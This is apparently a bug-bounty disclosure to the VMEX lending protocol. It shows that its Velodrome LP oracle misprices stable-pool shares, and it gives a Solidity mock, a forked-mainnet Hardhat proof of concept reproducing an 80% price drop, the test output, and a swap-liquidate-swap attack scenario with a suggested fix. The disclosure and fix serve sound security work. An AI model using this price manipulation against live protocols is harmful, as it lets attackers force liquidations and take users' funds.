Open hats-bug-reporter[bot] opened 1 year ago
Hi, I'm from the VMEX team. Do you have a discord or tg where we can discuss further?
yeah sure
curiousapple
for both discord and tg
As requested by @mel0ndev, please find POC below.
packages/contracts/contracts/mocks/oracle/MockVelodromeOracle.sol
packages/contracts/localhost_tests_OP/test-velo-stable-pools-poc.spec.ts
vmex:node:fork:optimism
vmex:deploy:fork:optimism
vmex:OPfork:unit-tests
POC is on a forked instance of optimism mainnet. It has two parts. The first part is for variable pools, where it proves that even if a big swap occurs, there is no noticeable deviation in LP share price, as expected. (0 deviation in this case) The second part is for stable pools, where it presents a significant deviation of 80% for the same swapped amount of the first part.
It is important to note that the cause of this issue is not reliance on spot reserves, the cause is the wrong consideration of the K value for stable pools.
Both tests mimic the data presented from the spreadsheet and scenario mentioned in the issue.
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.19;
import {VelodromeOracle} from "../../protocol/oracles/VelodromeOracle.sol";
contract MockVelodromeOracle {
function getVeloPrice(
address asset,
uint256 [] memory prices
) external view returns (uint256 price) {
price = VelodromeOracle.get_lp_price(asset, prices);
return price;
}
}
import { ethers } from "ethers";
const chai = require("chai");
const { expect } = chai;
import { makeSuite } from "../test-suites/test-aave/helpers/make-suite";
import { DRE } from "../helpers/misc-utils";
import { BigNumber, utils } from "ethers";
import { eOptimismNetwork, IChainlinkInternal, ICommonConfiguration, ProtocolErrors } from '../helpers/types';
import {getCurvePrice} from "./helpers/curve-calculation";
import {UserAccountData} from "./interfaces/index";
import {almostEqualOrEqual} from "./helpers/almostEqual";
import {calculateExpectedInterest, calculateUserStake, calculateAdminInterest} from "./helpers/strategy-interest";
import OptimismConfig from "../markets/optimism";
import { getParamPerNetwork } from "../helpers/contracts-helpers";
import { getPairsTokenAggregator } from "../helpers/contracts-getters";
const oracleAbi = require("../artifacts/contracts/protocol/oracles/VMEXOracle.sol/VMEXOracle.json")
chai.use(function (chai: any, utils: any) {
chai.Assertion.overwriteMethod(
"almostEqualOrEqual",
function (original: any) {
return function (this: any, expected: UserAccountData) {
const actual = <UserAccountData>this._obj;
almostEqualOrEqual.apply(this, [expected, actual]);
};
}
);
});
makeSuite(
"Velodrome Stable Pools POC",
() => {
const { VL_COLLATERAL_CANNOT_COVER_NEW_BORROW } = ProtocolErrors;
const fs = require('fs');
const contractGetters = require('../helpers/contracts-getters.ts');
const VeloAbi = [
"function allowance(address owner, address spender) external view returns (uint256 remaining)",
"function approve(address spender, uint256 value) external returns (bool success)",
"function balanceOf(address owner) external view returns (uint256 balance)",
"function decimals() external view returns (uint8 decimalPlaces)",
"function name() external view returns (string memory tokenName)",
"function symbol() external view returns (string memory tokenSymbol)",
"function totalSupply() external view returns (uint256 totalTokensIssued)",
"function transfer(address to, uint256 value) external returns (bool success)",
"function transferFrom(address from, address to, uint256 value) external returns (bool success)",
"function tokens() external returns (address, address)",
"function metadata() external view returns (uint dec0, uint dec1, uint r0, uint r1, bool st, address t0, address t1)",
"function mint(address to) external returns (uint liquidity)",
"function sync() external",
"function getReserves() external view returns (uint _reserve0, uint _reserve1, uint _blockTimestampLast)",
"function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external",
"function getAmountOut(uint amountIn, address tokenIn) external view returns (uint)"
];
const VeloFactoryABI = [
"function createPair(address tokenA, address tokenB, bool stable) external returns (address pair)",
"function getPair(address tokenA, address token, bool stable) external view returns (address)"
];
it("Variable Pool", async () => {
/*//////////////////////////////////////////////////////////////
SETUP
//////////////////////////////////////////////////////////////*/
var signer = await contractGetters.getFirstSigner();
var veloFactoryAddress = "0x25cbddb98b35ab1ff77413456b31ec81a6b6b746";
const velFactory = new DRE.ethers.Contract(veloFactoryAddress, VeloFactoryABI);
const Erc20 = await DRE.ethers.getContractFactory("MintableERC20");
const erc20_1 = await Erc20.deploy("token0", "token0", 18);
const erc20_0 = await Erc20.deploy("token1", "token1", 18);
const VelodromeOracle = await DRE.ethers.getContractFactory("MockVelodromeOracle");
const velodromeOracle = await VelodromeOracle.deploy();
await velFactory.connect(signer).createPair(erc20_0.address, erc20_1.address, false);
const veloPairAddress = await velFactory.connect(signer).getPair(erc20_0.address, erc20_1.address, false); // variable pool
const veloStablePool = new DRE.ethers.Contract(veloPairAddress, VeloAbi);
/*//////////////////////////////////////////////////////////////
INITIAL STAGE
//////////////////////////////////////////////////////////////*/
await erc20_0.connect(signer).mint(DRE.ethers.utils.parseUnits('1000000', 18));
await erc20_1.connect(signer).mint(DRE.ethers.utils.parseUnits('1000000', 18));
await erc20_0.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('1000', 18));
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('1000', 18));
await veloStablePool.connect(signer).mint(signer.address);
console.log(await veloStablePool.connect(signer).totalSupply());
await erc20_0.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('999000', 18));
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('999000', 18));
await veloStablePool.connect(signer).sync(); // this is not necessary step, just doing this to get state = example mentioned in the spreadsheet
// Data from spreadsheet
// Reserve 0 1000000
// Reserve 1 1000000
// Price 0 1
// Price 1 1
// Total Supply 1000
// Calculated Price Of LP Share 2000
// Exact Match
/*//////////////////////////////////////////////////////////////
HUGE SWAP
//////////////////////////////////////////////////////////////*/
expect(await veloStablePool.connect(signer).totalSupply(), DRE.ethers.utils.parseUnits('1000', 18));
expect(await veloStablePool.connect(signer).getReserves()._reserve0, DRE.ethers.utils.parseUnits('1000000', 18));
expect(await veloStablePool.connect(signer).getReserves()._reserve1, DRE.ethers.utils.parseUnits('1000000', 18));
const prices = [DRE.ethers.utils.parseUnits('1', 18), DRE.ethers.utils.parseUnits('1', 18)];
const oldLPPrice = await velodromeOracle.connect(signer).getVeloPrice(veloPairAddress, prices);;
expect(oldLPPrice, DRE.ethers.utils.parseUnits('2000', 18));
console.log("Initial LP Price", oldLPPrice);
// Case 1 : Huge Swap In case of Variable Pool (X* Y = K)
// Reserve 0 5000
// Reserve 1 ~200000000 // Deviation occurs due to fees = 200400250
// Price 0 1
// Price 1 1
// Total Supply 1000
// Calculated Price Of LP Share ~2000 // Small deviation occurs due to fees (2002 to be exact)
await erc20_1.connect(signer).mint(DRE.ethers.utils.parseUnits('199500000', 18));
// 199000000 should be the swaped amount as per spreadsheet, however increaseing it to include fees
// spreadsheet numbers dont consider any fees
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('199500000', 18)); // 199000000
await veloStablePool.connect(signer).swap(DRE.ethers.utils.parseUnits('995000', 18), DRE.ethers.utils.parseUnits('0', 18), signer.address, "0x");
const newLPPrice = await velodromeOracle.connect(signer).getVeloPrice(veloPairAddress, prices);;
const reserves = await veloStablePool.connect(signer).getReserves();
console.log("Reserve 0", reserves._reserve0);
console.log("Reserve 1", reserves._reserve1);
console.log("Final LP Price", newLPPrice);
var PercentageChange = (newLPPrice.sub(oldLPPrice)).mul(100).div(oldLPPrice).toString();
console.log("Percentage Change", PercentageChange);
if(PercentageChange< 0) PercentageChange = PercentageChange * -1;
expect(BigNumber.from(PercentageChange)).to.be.within(0, 2); // 0 deviation in this case
});
it("Stable Pool", async () => {
/*//////////////////////////////////////////////////////////////
SETUP
//////////////////////////////////////////////////////////////*/
var signer = await contractGetters.getFirstSigner();
var veloFactoryAddress = "0x25cbddb98b35ab1ff77413456b31ec81a6b6b746";
const velFactory = new DRE.ethers.Contract(veloFactoryAddress, VeloFactoryABI);
const Erc20 = await DRE.ethers.getContractFactory("MintableERC20");
const erc20_1 = await Erc20.deploy("token0", "token0", 18);
const erc20_0 = await Erc20.deploy("token1", "token1", 18);
const VelodromeOracle = await DRE.ethers.getContractFactory("MockVelodromeOracle");
const velodromeOracle = await VelodromeOracle.deploy();
await velFactory.connect(signer).createPair(erc20_0.address, erc20_1.address, true);
const veloPairAddress = await velFactory.connect(signer).getPair(erc20_0.address, erc20_1.address, true);
const veloStablePool = new DRE.ethers.Contract(veloPairAddress, VeloAbi);
await erc20_0.connect(signer).mint(DRE.ethers.utils.parseUnits('1000000', 18));
await erc20_1.connect(signer).mint(DRE.ethers.utils.parseUnits('1000000', 18));
/*//////////////////////////////////////////////////////////////
INITIAL STAGE
//////////////////////////////////////////////////////////////*/
await erc20_0.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('1000', 18));
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('1000', 18));
await veloStablePool.connect(signer).mint(signer.address);
console.log(await veloStablePool.connect(signer).totalSupply());
await erc20_0.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('999000', 18));
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('999000', 18));
await veloStablePool.connect(signer).sync(); // this is not necessary step, just doing this to get state = example mentioned in the spreadsheet
expect(await veloStablePool.connect(signer).totalSupply(), DRE.ethers.utils.parseUnits('1000', 18));
expect(await veloStablePool.connect(signer).getReserves()._reserve0, DRE.ethers.utils.parseUnits('1000000', 18));
expect(await veloStablePool.connect(signer).getReserves()._reserve1, DRE.ethers.utils.parseUnits('1000000', 18));
const prices = [DRE.ethers.utils.parseUnits('1', 18), DRE.ethers.utils.parseUnits('1', 18)];
const oldLPPrice = await velodromeOracle.connect(signer).getVeloPrice(veloPairAddress, prices);;
expect(oldLPPrice, DRE.ethers.utils.parseUnits('2000', 18));
console.log("Initial LP Price", oldLPPrice);
// Data from spreadsheet
// Reserve 0 1000000
// Reserve 1 1000000
// Price 0 1
// Price 1 1
// Total Supply 1000
// Calculated Price Of LP Share 2000
// Exact Match
/*//////////////////////////////////////////////////////////////
HUGE SWAP
//////////////////////////////////////////////////////////////*/
// Data from spreadsheet
// Reserve 0 5000
// Reserve 1 ~7368062.997 // Deviation due to fees = 7374872.969
// Price 0 1
// Price 1 1
// Total Supply 1000
// Calculated Price Of LP Share ~383.8766207 // Deviation due to fees = 384.053979773677127299
await erc20_1.connect(signer).mint(DRE.ethers.utils.parseUnits('6378062', 18));
// 6368062.997 should be the swaped amount as per spreadsheet, however increaseing it to include fees
// spreadsheet numbers dont consider any fees
await erc20_1.connect(signer).transfer(veloPairAddress, DRE.ethers.utils.parseUnits('6378062', 18));
await veloStablePool.connect(signer).swap(DRE.ethers.utils.parseUnits('995000', 18), DRE.ethers.utils.parseUnits('0', 18), signer.address, "0x");
const newLPPrice = await velodromeOracle.connect(signer).getVeloPrice(veloPairAddress, prices);
const reserves = await veloStablePool.connect(signer).getReserves();
console.log("Reserve 0", reserves._reserve0);
console.log("Reserve 1", reserves._reserve1);
console.log("Final LP Price", newLPPrice);
var PercentageChange = (newLPPrice.sub(oldLPPrice)).mul(100).div(oldLPPrice).toString();
console.log("Percentage Change", PercentageChange);
if(PercentageChange< 0) PercentageChange = PercentageChange * -1;
expect(BigNumber.from(PercentageChange)).to.be.within(0, 2); // 80 deviation in this case
});
}
)
Output
Velodrome Stable Pools POC
BigNumber { value: "1000000000000000000000" }
Initial LP Price BigNumber { value: "2000000000000000000000" }
Reserve 0 BigNumber { value: "5000000000000000000000" }
Reserve 1 BigNumber { value: "200400250000000000000000000" }
Final LP Price BigNumber { value: "2002000249750234172033" }
Percentage Change 0
✓ Variable Pool (6074768 gas)
BigNumber { value: "1000000000000000000000" }
Initial LP Price BigNumber { value: "2000000000000000000000" }
Reserve 0 BigNumber { value: "5000000000000000000000" }
Reserve 1 BigNumber { value: "7374872969000000000000000" }
Final LP Price BigNumber { value: "384053979773677127299" }
Percentage Change -80
1) Stable Pool
AssertionError: Expected "80" to be within [0,2]
The case for this issue becomes more strong if you consider the initial assets VMEX team intended to allow. As you can see there are many velo stable pool pairs there https://docs.google.com/spreadsheets/d/1TBKpQuhRW1ikfFTrF93hCj6C-GpX2mCR7QrFygIugEk/edit#gid=646476569
Github username: @abhishekvispute Submission hash (on-chain): 0x6c095881eb903abb853914dd88ca7962750a9620cae6633e1c70e0a869790d8b Severity: high severity
Description:
Description
VMEX intends to allow Velo LP tokens as an asset for their lending protocol. The value of Velo LP token is derived inside
VelodromeOracle
library, and does take reserve's spot manipulation into consideration. The formula used by VMEX team is following.Source: https://blog.alphaventuredao.io/fair-lp-token-pricing/
As expected this derivation of LP share price sustains any spot reserve's manipulation since the product of
r0 * r1 (k)
remains the same. However, there is a case where this formula doesn't work.Velodrome supports two types of pools, stable pools, and variable pools. Stable pools are designed for stable pairs like USDC- DAI, and variable pools are for more volatile assets. Both pools operate from same pair contract and have almost all logic same (mint, burn). However differ in calculation of K, and swapped amount. https://github.com/velodrome-finance/contracts/blob/de6b2a19b5174013112ad41f07cf98352bfe1f24/contracts/Pair.sol#L437 Variable pools, follow uniswap's
xy = k
curve, and stable pools follow solidly's curvex^3 * y + y^3 * x = k
. This difference is not ignorable like VMEX incorrectly assumes hereIt's not "mostly same", please check following to see how the above formula fails for the stable pools.
Consider following as the initial stage of the Pool
Source
Please check above spreadsheet for all derivations
Now consider that someone does a huge swap for velodrome's variable pool in hopes of manipulating the lp share price
Source
Here as you can see even though reserves are manipluated, our calculated LP share price didn't change.
Now let's consider the same swap for velodrome's stable pool
Source
Here as you can see, there is drop in our calculated share price. The reason for this drop is the
K (r0* r1)
parameter of the formula is not constrained to remain same with movement of reserves for stable pool, unlike variable pools.Attack scenario:
Swap X -> Y Liquidate all positions or Borrow LP shares Swap Y -> X Profit = Liquidation Fees - Swap Fees Note that you dont need to swap such a huge amount to cause deviation, enough deviation could be achieved using smaller numbers too.
Reasoning Behind High Severity
Likelihood: There is no barrier of entry, anyone can execute it. Impact: Irrecoverable loss Of funds
Recommendation
Consider fetching K from the velodrome pool itself rather than assuming it to be
x*y
always, then consider choosing different formula for stable pools. This decision could be made on the basis of metadata since its returns 1 for the stable pool and 0 for the variable pool.